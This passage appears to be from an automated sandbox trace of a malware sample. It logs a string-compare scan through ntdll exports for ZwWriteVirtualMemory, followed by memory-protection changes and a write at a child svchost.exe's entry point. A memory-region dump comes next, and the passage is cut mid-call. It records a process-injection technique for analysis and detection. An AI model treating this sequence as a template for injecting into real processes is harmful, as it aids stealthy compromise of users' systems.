(lpString1="LdrDisableThreadCalloutsForDll", lpString2="ZwWriteVirtualMemory") returned -1 [0142.872] lstrcmpA (lpString1="LdrEnumResources", lpString2="ZwWriteVirtualMemory") returned -1 [0142.872] lstrcmpA (lpString1="LdrEnumerateLoadedModules", lpString2="ZwWriteVirtualMemory") returned -1 [0142.872] lstrcmpA (lpString1="LdrFastFailInLoaderCallout", lpString2="ZwWriteVirtualMemory") returned -1 [0142.872] lstrcmpA (lpString1="LdrFindEntryForAddress", lpString2="ZwWriteVirtualMemory") returned -1 [0142.872] lstrcmpA (lpString1="LdrFindResourceDirectory_U", lpString2="ZwWriteVirtualMemory") returned -1 [0142.872] lstrcmpA (lpString1="LdrFindResourceEx_U", lpString2="ZwWriteVirtualMemory") returned -1 [0142.872] lstrcmpA (lpString1="LdrFindResource_U", lpString2="ZwWriteVirtualMemory") returned -1 [0142.873] lstrcmpA (lpString1="LdrFlushAlternateResourceModules", lpString2="ZwWriteVirtualMemory") returned -1 [0142.873] lstrcmpA (lpString1="LdrGetDllDirectory", lpString2="ZwWriteVirtualMemory") returned -1 [0142.873] lstrcmpA (lpString1="LdrGetDllFullName", lpString2="ZwWriteVirtualMemory") returned -1 [0142.873] lstrcmpA (lpString1="LdrGetDllHandle", lpString2="ZwWriteVirtualMemory") returned -1 [0142.873] lstrcmpA (lpString1="LdrGetDllHandleByMapping", lpString2="ZwWriteVirtualMemory") returned -1 [0142.873] lstrcmpA (lpString1="LdrGetDllHandleByName", lpString2="ZwWriteVirtualMemory") returned -1 [0142.873] lstrcmpA (lpString1="LdrGetDllHandleEx", lpString2="ZwWriteVirtualMemory") returned -1 [0142.873] lstrcmpA (lpString1="LdrGetDllPath", lpString2="ZwWriteVirtualMemory") returned -1 [0142.873] lstrcmpA (lpString1="LdrGetFailureData", lpString2="ZwWriteVirtualMemory") returned -1 [0142.873] lstrcmpA (lpString1="LdrGetFileNameFromLoadAsDataTable", lpString2="ZwWriteVirtualMemory") returned -1 [0142.873] lstrcmpA (lpString1="LdrGetKnownDllSectionHandle", lpString2="ZwWriteVirtualMemory") returned -1 [0142.873] lstrcmpA (lpString1="LdrGetProcedureAddress", lpString2="ZwWriteVirtualMemory") returned -1 [0142.873] lstrcmpA (lpString1="LdrGetProcedureAddressEx", lpString2="ZwWriteVirtualMemory") returned -1 [0142.873] lstrcmpA (lpString1="LdrGetProcedureAddressForCaller", lpString2="ZwWriteVirtualMemory") returned -1 [0142.873] lstrcmpA (lpString1="LdrInitShimEngineDynamic", lpString2="ZwWriteVirtualMemory") returned -1 [0142.873] lstrcmpA (lpString1="LdrInitializeThunk", lpString2="ZwWriteVirtualMemory") returned -1 [0142.873] lstrcmpA (lpString1="LdrLoadAlternateResourceModule", lpString2="ZwWriteVirtualMemory") returned -1 [0142.873] lstrcmpA (lpString1="LdrLoadAlternateResourceModuleEx", lpString2="ZwWriteVirtualMemory") returned -1 [0142.873] lstrcmpA (lpString1="LdrLoadDll", lpString2="ZwWriteVirtualMemory") returned -1 [0142.873] lstrcmpA (lpString1="LdrLockLoaderLock", lpString2="ZwWriteVirtualMemory") returned -1 [0142.873] lstrcmpA (lpString1="LdrOpenImageFileOptionsKey", lpString2="ZwWriteVirtualMemory") returned -1 [0142.873] lstrcmpA (lpString1="LdrProcessInitializationComplete", lpString2="ZwWriteVirtualMemory") returned -1 [0142.873] lstrcmpA (lpString1="LdrProcessRelocationBlock", lpString2="ZwWriteVirtualMemory") returned -1 [0142.873] lstrcmpA (lpString1="LdrProcessRelocationBlockEx", lpString2="ZwWriteVirtualMemory") returned -1 [0142.873] lstrcmpA (lpString1="LdrQueryImageFileExecutionOptions", lpString2="ZwWriteVirtualMemory") returned -1 [0142.874] lstrcmpA (lpString1="LdrQueryImageFileExecutionOptionsEx", lpString2="ZwWriteVirtualMemory") returned -1 [0142.874] lstrcmpA (lpString1="LdrQueryImageFileKeyOption", lpString2="ZwWriteVirtualMemory") returned -1 [0142.874] lstrcmpA (lpString1="LdrQueryModuleServiceTags", lpString2="ZwWriteVirtualMemory") returned -1 [0142.874] lstrcmpA (lpString1="LdrQueryOptionalDelayLoadedAPI", lpString2="ZwWriteVirtualMemory") returned -1 [0142.874] lstrcmpA (lpString1="LdrQueryProcessModuleInformation", lpString2="ZwWriteVirtualMemory") returned -1 [0142.874] lstrcmpA (lpString1="LdrRegisterDllNotification", lpString2="ZwWriteVirtualMemory") returned -1 [0142.874] lstrcmpA (lpString1="LdrRemoveDllDirectory", lpString2="ZwWriteVirtualMemory") returned -1 [0142.874] lstrcmpA (lpString1="LdrRemoveLoadAsDataTable", lpString2="ZwWriteVirtualMemory") returned -1 [0142.874] lstrcmpA (lpString1="LdrResFindResource", lpString2="ZwWriteVirtualMemory") returned -1 [0142.874] lstrcmpA (lpString1="LdrResFindResourceDirectory", lpString2="ZwWriteVirtualMemory") returned -1 [0142.874] lstrcmpA (lpString1="LdrResGetRCConfig", lpString2="ZwWriteVirtualMemory") returned -1 [0142.874] lstrcmpA (lpString1="LdrResRelease", lpString2="ZwWriteVirtualMemory") returned -1 [0142.874] lstrcmpA (lpString1="LdrResSearchResource", lpString2="ZwWriteVirtualMemory") returned -1 [0142.874] lstrcmpA (lpString1="LdrResolveDelayLoadedAPI", lpString2="ZwWriteVirtualMemory") returned -1 [0142.874] lstrcmpA (lpString1="LdrResolveDelayLoadsFromDll", lpString2="ZwWriteVirtualMemory") returned -1 [0142.874] lstrcmpA (lpString1="LdrRscIsTypeExist", lpString2="ZwWriteVirtualMemory") returned -1 [0142.874] lstrcmpA (lpString1="LdrSetAppCompatDllRedirectionCallback", lpString2="ZwWriteVirtualMemory") returned -1 [0142.874] lstrcmpA (lpString1="LdrSetDefaultDllDirectories", lpString2="ZwWriteVirtualMemory") returned -1 [0142.874] lstrcmpA (lpString1="LdrSetDllDirectory", lpString2="ZwWriteVirtualMemory") returned -1 [0142.874] lstrcmpA (lpString1="LdrSetDllManifestProber", lpString2="ZwWriteVirtualMemory") returned -1 [0142.874] lstrcmpA (lpString1="LdrSetImplicitPathOptions", lpString2="ZwWriteVirtualMemory") returned -1 [0142.874] lstrcmpA (lpString1="LdrSetMUICacheType", lpString2="ZwWriteVirtualMemory") returned -1 [0142.874] lstrcmpA (lpString1="LdrShutdownProcess", lpString2="ZwWriteVirtualMemory") returned -1 [0142.874] lstrcmpA (lpString1="LdrShutdownThread", lpString2="ZwWriteVirtualMemory") returned -1 [0142.874] lstrcmpA (lpString1="LdrStandardizeSystemPath", lpString2="ZwWriteVirtualMemory") returned -1 [0142.874] lstrcmpA (lpString1="LdrSystemDllInitBlock", lpString2="ZwWriteVirtualMemory") returned -1 [0142.874] lstrcmpA (lpString1="LdrUnloadAlternateResourceModule", lpString2="ZwWriteVirtualMemory") returned -1 [0142.875] lstrcmpA (lpString1="LdrUnloadAlternateResourceModuleEx", lpString2="ZwWriteVirtualMemory") returned -1 [0142.900] lstrcmpA (lpString1="LdrUnloadDll", lpString2="ZwWriteVirtualMemory") returned -1 [0142.900] lstrcmpA (lpString1="LdrUnlockLoaderLock", lpString2="ZwWriteVirtualMemory") returned -1 [0142.900] lstrcmpA (lpString1="LdrUnregisterDllNotification", lpString2="ZwWriteVirtualMemory") returned -1 [0142.900] lstrcmpA (lpString1="LdrVerifyImageMatchesChecksum", lpString2="ZwWriteVirtualMemory") returned -1 [0142.900] lstrcmpA (lpString1="LdrVerifyImageMatchesChecksumEx", lpString2="ZwWriteVirtualMemory") returned -1 [0142.900] lstrcmpA (lpString1="LdrpResGetMappingSize", lpString2="ZwWriteVirtualMemory") returned -1 [0142.900] lstrcmpA (lpString1="LdrpResGetResourceDirectory", lpString2="ZwWriteVirtualMemory") returned -1 [0142.900] lstrcmpA (lpString1="MD4Final", lpString2="ZwWriteVirtualMemory") returned -1 [0142.902] lstrcmpA (lpString1="MD4Init", lpString2="ZwWriteVirtualMemory") returned -1 [0142.902] lstrcmpA (lpString1="MD4Update", lpString2="ZwWriteVirtualMemory") returned -1 [0142.902] lstrcmpA (lpString1="MD5Final", lpString2="ZwWriteVirtualMemory") returned -1 [0142.902] lstrcmpA (lpString1="MD5Init", lpString2="ZwWriteVirtualMemory") returned -1 [0142.902] lstrcmpA (lpString1="MD5Update", lpString2="ZwWriteVirtualMemory") returned -1 [0142.902] lstrcmpA (lpString1="NlsAnsiCodePage", lpString2="ZwWriteVirtualMemory") returned -1 [0142.902] lstrcmpA (lpString1="NlsMbCodePageTag", lpString2="ZwWriteVirtualMemory") returned -1 [0142.904] lstrcmpA (lpString1="NlsMbOemCodePageTag", lpString2="ZwWriteVirtualMemory") returned -1 [0142.904] lstrcmpA (lpString1="NtAcceptConnectPort", lpString2="ZwWriteVirtualMemory") returned -1 [0142.904] lstrcmpA (lpString1="NtAccessCheck", lpString2="ZwWriteVirtualMemory") returned -1 [0142.904] lstrcmpA (lpString1="NtAccessCheckAndAuditAlarm", lpString2="ZwWriteVirtualMemory") returned -1 [0142.904] lstrcmpA (lpString1="NtAccessCheckByType", lpString2="ZwWriteVirtualMemory") returned -1 [0142.904] lstrcmpA (lpString1="NtAccessCheckByTypeAndAuditAlarm", lpString2="ZwWriteVirtualMemory") returned -1 [0142.904] lstrcmpA (lpString1="NtAccessCheckByTypeResultList", lpString2="ZwWriteVirtualMemory") returned -1 [0142.906] lstrcmpA (lpString1="NtAccessCheckByTypeResultListAndAuditAlarm", lpString2="ZwWriteVirtualMemory") returned -1 [0142.909] lstrcmpA (lpString1="NtAccessCheckByTypeResultListAndAuditAlarmByHandle", lpString2="ZwWriteVirtualMemory") returned -1 [0142.910] lstrcmpA (lpString1="NtAddAtom", lpString2="ZwWriteVirtualMemory") returned -1 [0142.910] lstrcmpA (lpString1="NtAddAtomEx", lpString2="ZwWriteVirtualMemory") returned -1 [0142.910] lstrcmpA (lpString1="NtAddBootEntry", lpString2="ZwWriteVirtualMemory") returned -1 [0142.910] lstrcmpA (lpString1="NtAddDriverEntry", lpString2="ZwWriteVirtualMemory") returned -1 [0142.911] lstrcmpA (lpString1="NtAdjustGroupsToken", lpString2="ZwWriteVirtualMemory") returned -1 [0142.911] lstrcmpA (lpString1="NtAdjustPrivilegesToken", lpString2="ZwWriteVirtualMemory") returned -1 [0142.911] lstrcmpA (lpString1="NtAdjustTokenClaimsAndDeviceGroups", lpString2="ZwWriteVirtualMemory") returned -1 [0142.911] lstrcmpA (lpString1="NtAlertResumeThread", lpString2="ZwWriteVirtualMemory") returned -1 [0142.911] lstrcmpA (lpString1="NtAlertThread", lpString2="ZwWriteVirtualMemory") returned -1 [0142.911] lstrcmpA (lpString1="NtAlertThreadByThreadId", lpString2="ZwWriteVirtualMemory") returned -1 [0142.911] lstrcmpA (lpString1="NtAllocateLocallyUniqueId", lpString2="ZwWriteVirtualMemory") returned -1 [0142.911] lstrcmpA (lpString1="NtAllocateReserveObject", lpString2="ZwWriteVirtualMemory") returned -1 [0142.911] lstrcmpA (lpString1="NtAllocateUserPhysicalPages", lpString2="ZwWriteVirtualMemory") returned -1 [0142.914] lstrcmpA (lpString1="NtAllocateUuids", lpString2="ZwWriteVirtualMemory") returned -1 [0142.914] lstrcmpA (lpString1="NtAllocateVirtualMemory", lpString2="ZwWriteVirtualMemory") returned -1 [0142.914] lstrcmpA (lpString1="NtAlpcAcceptConnectPort", lpString2="ZwWriteVirtualMemory") returned -1 [0142.914] lstrcmpA (lpString1="NtAlpcCancelMessage", lpString2="ZwWriteVirtualMemory") returned -1 [0142.916] lstrcmpA (lpString1="NtAlpcConnectPort", lpString2="ZwWriteVirtualMemory") returned -1 [0142.916] lstrcmpA (lpString1="NtAlpcConnectPortEx", lpString2="ZwWriteVirtualMemory") returned -1 [0142.916] lstrcmpA (lpString1="NtAlpcCreatePort", lpString2="ZwWriteVirtualMemory") returned -1 [0142.916] lstrcmpA (lpString1="NtAlpcCreatePortSection", lpString2="ZwWriteVirtualMemory") returned -1 [0142.916] lstrcmpA (lpString1="NtAlpcCreateResourceReserve", lpString2="ZwWriteVirtualMemory") returned -1 [0142.916] lstrcmpA (lpString1="NtAlpcCreateSectionView", lpString2="ZwWriteVirtualMemory") returned -1 [0142.916] lstrcmpA (lpString1="NtAlpcCreateSecurityContext", lpString2="ZwWriteVirtualMemory") returned -1 [0142.916] lstrcmpA (lpString1="NtAlpcDeletePortSection", lpString2="ZwWriteVirtualMemory") returned -1 [0142.916] lstrcmpA (lpString1="NtAlpcDeleteResourceReserve", lpString2="ZwWriteVirtualMemory") returned -1 [0142.916] lstrcmpA (lpString1="NtAlpcDeleteSectionView", lpString2="ZwWriteVirtualMemory") returned -1 [0142.916] lstrcmpA (lpString1="NtAlpcDeleteSecurityContext", lpString2="ZwWriteVirtualMemory") returned -1 [0142.916] lstrcmpA (lpString1="NtAlpcDisconnectPort", lpString2="ZwWriteVirtualMemory") returned -1 [0142.916] lstrcmpA (lpString1="NtAlpcImpersonateClientContainerOfPort", lpString2="ZwWriteVirtualMemory") returned -1 [0142.916] lstrcmpA (lpString1="NtAlpcImpersonateClientOfPort", lpString2="ZwWriteVirtualMemory") returned -1 [0142.917] lstrcmpA (lpString1="NtAlpcOpenSenderProcess", lpString2="ZwWriteVirtualMemory") returned -1 [0142.917] lstrcmpA (lpString1="NtAlpcOpenSenderThread", lpString2="ZwWriteVirtualMemory") returned -1 [0142.917] lstrcmpA (lpString1="NtAlpcQueryInformation", lpString2="ZwWriteVirtualMemory") returned -1 [0142.917] lstrcmpA (lpString1="NtAlpcQueryInformationMessage", lpString2="ZwWriteVirtualMemory") returned -1 [0142.917] lstrcmpA (lpString1="NtAlpcRevokeSecurityContext", lpString2="ZwWriteVirtualMemory") returned -1 [0142.917] lstrcmpA (lpString1="NtAlpcSendWaitReceivePort", lpString2="ZwWriteVirtualMemory") returned -1 [0142.917] lstrcmpA (lpString1="NtAlpcSetInformation", lpString2="ZwWriteVirtualMemory") returned -1 [0142.917] lstrcmpA (lpString1="NtApphelpCacheControl", lpString2="ZwWriteVirtualMemory") returned -1 [0142.917] lstrcmpA (lpString1="NtAreMappedFilesTheSame", lpString2="ZwWriteVirtualMemory") returned -1 [0142.917] lstrcmpA (lpString1="NtAssignProcessToJobObject", lpString2="ZwWriteVirtualMemory") returned -1 [0142.917] lstrcmpA (lpString1="NtAssociateWaitCompletionPacket", lpString2="ZwWriteVirtualMemory") returned -1 [0142.917] lstrcmpA (lpString1="NtCallbackReturn", lpString2="ZwWriteVirtualMemory") returned -1 [0142.917] lstrcmpA (lpString1="NtCancelIoFile", lpString2="ZwWriteVirtualMemory") returned -1 [0142.917] lstrcmpA (lpString1="NtCancelIoFileEx", lpString2="ZwWriteVirtualMemory") returned -1 [0142.917] lstrcmpA (lpString1="NtCancelSynchronousIoFile", lpString2="ZwWriteVirtualMemory") returned -1 [0142.917] lstrcmpA (lpString1="NtCancelTimer", lpString2="ZwWriteVirtualMemory") returned -1 [0142.917] lstrcmpA (lpString1="NtCancelTimer2", lpString2="ZwWriteVirtualMemory") returned -1 [0142.917] lstrcmpA (lpString1="NtCancelWaitCompletionPacket", lpString2="ZwWriteVirtualMemory") returned -1 [0142.917] lstrcmpA (lpString1="NtClearEvent", lpString2="ZwWriteVirtualMemory") returned -1 [0142.917] lstrcmpA (lpString1="NtClose", lpString2="ZwWriteVirtualMemory") returned -1 [0142.917] lstrcmpA (lpString1="NtCloseObjectAuditAlarm", lpString2="ZwWriteVirtualMemory") returned -1 [0142.917] lstrcmpA (lpString1="NtCommitComplete", lpString2="ZwWriteVirtualMemory") returned -1 [0142.917] lstrcmpA (lpString1="NtCommitEnlistment", lpString2="ZwWriteVirtualMemory") returned -1 [0142.917] lstrcmpA (lpString1="NtCommitTransaction", lpString2="ZwWriteVirtualMemory") returned -1 [0142.917] lstrcmpA (lpString1="NtCompactKeys", lpString2="ZwWriteVirtualMemory") returned -1 [0142.918] lstrcmpA (lpString1="NtCompareObjects", lpString2="ZwWriteVirtualMemory") returned -1 [0142.918] lstrcmpA (lpString1="NtCompareTokens", lpString2="ZwWriteVirtualMemory") returned -1 [0142.918] lstrcmpA (lpString1="NtCompleteConnectPort", lpString2="ZwWriteVirtualMemory") returned -1 [0142.918] lstrcmpA (lpString1="NtCompressKey", lpString2="ZwWriteVirtualMemory") returned -1 [0142.918] lstrcmpA (lpString1="NtConnectPort", lpString2="ZwWriteVirtualMemory") returned -1 [0142.918] VirtualFree (lpAddress=0x24f0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.945] NtProtectVirtualMemory (in: ProcessHandle=0x174, BaseAddress=0x18eb18*=0x7ff65b183980, NumberOfBytesToProtect=0x18eb20, NewAccessProtection=0x4, OldAccessProtection=0x18eb10 | out: BaseAddress=0x18eb18*=0x7ff65b183000, NumberOfBytesToProtect=0x18eb20, OldAccessProtection=0x18eb10*=0x20) returned 0x0 [0142.945] NtWriteVirtualMemory (in: ProcessHandle=0x174, BaseAddress=0x7ff65b183980, Buffer=0x18f050*, NumberOfBytesToWrite=0x4, NumberOfBytesWritten=0x18eb08 | out: Buffer=0x18f050*, NumberOfBytesWritten=0x18eb08*=0x4) returned 0x0 [0142.947] NtProtectVirtualMemory (in: ProcessHandle=0x174, BaseAddress=0x18eb18*=0x7ff65b183000, NumberOfBytesToProtect=0x18eb20, NewAccessProtection=0x20, OldAccessProtection=0x18eb10 | out: BaseAddress=0x18eb18*=0x7ff65b183000, NumberOfBytesToProtect=0x18eb20, OldAccessProtection=0x18eb10*=0x4) returned 0x0 [0142.947] CloseHandle (hObject=0x17c) returned 1 [0142.947] CloseHandle (hObject=0x16c) returned 1 [0142.947] CloseHandle (hObject=0x174) returned 1 [0142.947] Wow64EnableWow64FsRedirection (Wow64FsEnableRedirection=1) returned 1 Thread: id = 9 os_tid = 0x10f8 Process: id = "3" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x5d1ec000" os_pid = "0x1074" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0x29c" cmd_line = "C:\\Windows\\system32\\svchost.exe -k" cur_dir = "C:\\Users\\RDhJ0CNFevzX\\Desktop\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ebd3" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 656 start_va = 0x1ca00000 end_va = 0x1cbfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ca00000" filename = "" Region: id = 657 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 658 start_va = 0x2d1c940000 end_va = 0x2d1c9bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000002d1c940000" filename = "" Region: id = 659 start_va = 0x2d1ca00000 end_va = 0x2d1cbfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000002d1ca00000" filename = "" Region: id = 660 start_va = 0x2035c400000 end_va = 0x2035c41ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002035c400000" filename = "" Region: id = 661 start_va = 0x2035c420000 end_va = 0x2035c434fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002035c420000" filename = "" Region: id = 662 start_va = 0x2035c440000 end_va = 0x2035c443fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002035c440000" filename = "" Region: id = 663 start_va = 0x2035c450000 end_va = 0x2035c450fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002035c450000" filename = "" Region: id = 664 start_va = 0x2035c460000 end_va = 0x2035c461fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002035c460000" filename = "" Region: id = 665 start_va = 0x7df5ff330000 end_va = 0x7ff5ff32ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ff330000" filename = "" Region: id = 666 start_va = 0x7ff65a980000 end_va = 0x7ff65a9a2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff65a980000" filename = "" Region: id = 667 start_va = 0x7ff65b180000 end_va = 0x7ff65b18cfff monitored = 0 entry_point = 0x7ff65b183980 region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 668 start_va = 0x7ffff07a0000 end_va = 0x7ffff0960fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 762 start_va = 0x2035c470000 end_va = 0x2035c566fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002035c470000" filename = "" Region: id = 763 start_va = 0x2035c570000 end_va = 0x2035c76ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002035c570000" filename = "" Region: id = 764 start_va = 0x2035c600000 end_va = 0x2035c6fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002035c600000" filename = "" Region: id = 765 start_va = 0x7fffefeb0000 end_va = 0x7fffeff5cfff monitored = 0 entry_point = 0x7fffefec81a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 766 start_va = 0x7fffece50000 end_va = 0x7fffed037fff monitored = 0 entry_point = 0x7fffece7ba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 767 start_va = 0x2035c400000 end_va = 0x2035c40ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002035c400000" filename = "" Region: id = 768 start_va = 0x7ff65a880000 end_va = 0x7ff65a97ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff65a880000" filename = "" Region: id = 769 start_va = 0x2035c470000 end_va = 0x2035c52dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 770 start_va = 0x2035c560000 end_va = 0x2035c566fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002035c560000" filename = "" Region: id = 771 start_va = 0x7fffedba0000 end_va = 0x7fffedbfafff monitored = 0 entry_point = 0x7fffedbb38b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 772 start_va = 0x7fffefd90000 end_va = 0x7fffefeabfff monitored = 0 entry_point = 0x7fffefdd02b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 773 start_va = 0x2d1cc00000 end_va = 0x2d1cc7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000002d1cc00000" filename = "" Region: id = 774 start_va = 0x7fffebf60000 end_va = 0x7fffec053fff monitored = 0 entry_point = 0x7fffebf6a960 region_type = mapped_file name = "ucrtbase.dll" filename = "\\Windows\\System32\\ucrtbase.dll" (normalized: "c:\\windows\\system32\\ucrtbase.dll") Region: id = 776 start_va = 0x400000 end_va = 0x49bfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000400000" filename = "" Region: id = 785 start_va = 0x4a0000 end_va = 0x4a0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 786 start_va = 0x7fffefc70000 end_va = 0x7fffefc77fff monitored = 0 entry_point = 0x7fffefc710b0 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 787 start_va = 0x7fffedee0000 end_va = 0x7fffedf31fff monitored = 0 entry_point = 0x7fffedeef530 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 788 start_va = 0x7ffff0700000 end_va = 0x7ffff079cfff monitored = 0 entry_point = 0x7ffff07078a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 789 start_va = 0x7fffef9f0000 end_va = 0x7fffefc6cfff monitored = 0 entry_point = 0x7fffefac4970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 790 start_va = 0x7fffed740000 end_va = 0x7fffed7a9fff monitored = 0 entry_point = 0x7fffed776d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 791 start_va = 0x7ffff0340000 end_va = 0x7ffff04c5fff monitored = 0 entry_point = 0x7ffff038ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 792 start_va = 0x7fffeff60000 end_va = 0x7ffff00b5fff monitored = 0 entry_point = 0x7fffeff6a8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 793 start_va = 0x2035c700000 end_va = 0x2035c87cfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002035c700000" filename = "" Region: id = 794 start_va = 0x2035c880000 end_va = 0x2035ca7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002035c880000" filename = "" Region: id = 795 start_va = 0x2035c900000 end_va = 0x2035c9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002035c900000" filename = "" Region: id = 796 start_va = 0x2035c570000 end_va = 0x2035c5a8fff monitored = 0 entry_point = 0x2035c5712f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 797 start_va = 0x2035ca00000 end_va = 0x2035cb87fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002035ca00000" filename = "" Region: id = 798 start_va = 0x7fffedf50000 end_va = 0x7fffedf8afff monitored = 0 entry_point = 0x7fffedf512f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 799 start_va = 0x2035cb90000 end_va = 0x2035cd10fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002035cb90000" filename = "" Region: id = 800 start_va = 0x2035cd20000 end_va = 0x2035e11ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002035cd20000" filename = "" Region: id = 801 start_va = 0x2035c410000 end_va = 0x2035c410fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "svchost.exe.mui" filename = "\\Windows\\System32\\en-US\\svchost.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\svchost.exe.mui") Region: id = 819 start_va = 0x2035c530000 end_va = 0x2035c530fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002035c530000" filename = "" Region: id = 820 start_va = 0x2035c540000 end_va = 0x2035c540fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002035c540000" filename = "" Region: id = 821 start_va = 0x7ffff0540000 end_va = 0x7ffff05aafff monitored = 0 entry_point = 0x7ffff05590c0 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 822 start_va = 0x7fffed940000 end_va = 0x7fffedb06fff monitored = 0 entry_point = 0x7fffed99db80 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 825 start_va = 0x7fffece30000 end_va = 0x7fffece3ffff monitored = 0 entry_point = 0x7fffece356e0 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 826 start_va = 0x7fffedd80000 end_va = 0x7fffede26fff monitored = 0 entry_point = 0x7fffedd958d0 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 827 start_va = 0x7fffee060000 end_va = 0x7fffef5befff monitored = 0 entry_point = 0x7fffee1c11f0 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Thread: id = 10 os_tid = 0x810 [0140.388] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="PSAPI.DLL", BaseAddress=0x2d1c9bf978 | out: BaseAddress=0x2d1c9bf978*=0x7fffefc70000) returned 0x0 [0140.394] LdrGetProcedureAddress (in: BaseAddress=0x7fffefc70000, Name="EnumProcessModules", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefc71020) returned 0x0 [0140.394] LdrGetProcedureAddress (in: 